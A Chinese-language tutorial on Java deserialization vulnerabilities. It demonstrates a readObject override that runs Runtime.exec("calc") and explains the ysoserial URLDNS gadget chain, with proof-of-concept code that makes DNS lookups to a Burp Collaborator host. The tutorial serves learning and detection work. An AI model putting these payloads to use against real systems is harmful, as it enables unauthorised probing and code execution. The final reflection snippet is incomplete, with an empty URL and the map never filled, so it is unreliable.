反序列化漏洞学习
假设有这么个实体类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| Person.java import java.io.Serializable;
public class Person implements Serializable { private String name; private int age; public Person(){
}
public Person(String name, int age){ this.name = name; this.age = age; }
@Override public String toString() { return "Person{" + "age=" + age + ", name='" + name + '\'' + '}'; } }
|
现在我们要传递这个对象,假设有两台机器,那么电脑一上进行序列化过程
序列化:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| SerializationTest.java import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectOutputStream;
public class SerializationTest { public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static void main(String[] args) throws IOException { Person person = new Person("John", 30); System.out.println(person); serialize(person); } }
|
用一个文件输出流把对象给序列化了,电脑二要读取这个类,那么就要进行反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| UnSerializeTest.java import java.io.FileInputStream; import java.io.IOException; import java.io.ObjectInputStream;
public class UnSerializeTest { public static Object unserialize(String Filename)throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; }
public static void main(String[] args) throws IOException, ClassNotFoundException { Person person = (Person) unserialize("ser.bin"); System.out.println(person); }
|
执行后:
现在就成功拿到了这个类,
现在要知道,不安全的反序列化有三种情况
比如
一:
现在我们在Person类里如果重写一个readObject,加入一个危险的命令执行,
1 2 3 4 5
| private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException, IOException { ois.defaultReadObject(); Runtime.getRuntime().exec("calc"); } }
|
在把他序列化后反序列化
会发现执行了命令,但这么危险的类一般不会有人这么写
二:
入口类参数中包含可控类,该类有危险方法,readObject时调用
实际上这种情况也不是很多
三:
入口类参数包含可控类,该类又调用其他有危险方法的类,readOBject时调用
反射在反序列化漏洞中的作用
- 定制需要的对象
- 通过invoke调用除了同名函数以外的函数
- 通过Class类创建对象,引入不能序列化的类
URLDNS链分析
在上文中已经知道了一个对象只要实现了Serilizable接口,这个对象就可以被序列化
URLDNS
是知名反序列化工具ysoserial中利用链的一个名字,通常用于检测是否存在Java反序列化漏洞。该利用链具有如下特点:
- 不限制jdk版本,使用Java内置类,对第三方依赖没有要求
- 目标无回显,可以通过DNS请求来验证是否存在反序列化漏洞
- URLDNS利用链,只能发起DNS请求,并不能进行其他利用
跟进URL类,发现他继承了Serilizable接口,可以进行反序列化,但接着跟下去发现是无法完成序列化的
这里调用了一个handler的hashCode函数,跟进
有一个getHostAddress,根据介绍知道他是一个根据域名获取地址,也就是说如果调用url类的hashCode函数就可以得到一个DNS请求,就可以验证是否存在漏洞
正常来说我们只要把这个hashmap给序列化了,然后在反序列化时就会发送dns请求
1 2 3 4 5 6 7
| public static void main(String[] args) throws IOException { HashMap<URL,Integer> hashMap = new HashMap<>(); hashMap.put(new URL("http://umkizmypfx2mj6b4ek775od9w02qqf.burpcollaborator.net"),1); serialize(hashMap); } }
|
但奇怪的是在序列化的时候我们就接收到了请求,而反序列化的时候却没有接收到请求
阅读代码可知:
如果hashCode不等于-1的话他就直接返回了,而不会继续往下走
hashCode在初始化的时候是-1,但我们在调用put它之后就把值给改变了,
我们现在不想让他发起请求,我们就要让把URL对象的hashcode改成不是-1,那么就可以通过反射去修改URL的hashcode
1 2 3 4 5 6 7 8 9 10 11 12 13
| public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException { HashMap<URL,Integer> hashMap = new HashMap<>(); URL url = new URL("");
Class clazz = url.getClass(); Field hashCodeField = clazz.getDeclaredField("hashCode"); hashCodeField.setAccessible(true); hashCodeField.set(url, 114514); serialize(hashMap); } }
|
现在他在序列化的时候就不会发起dns请求了,验证:
总结:
java.util.HashMap
重写了 readObject
, 在反序列化时会调用 hash
函数计算 key 的 hashCode.而 java.net.URL
的 hashCode 在计算时会调用 getHostAddress
来解析域名, 从而发出 DNS 请求.
相关资料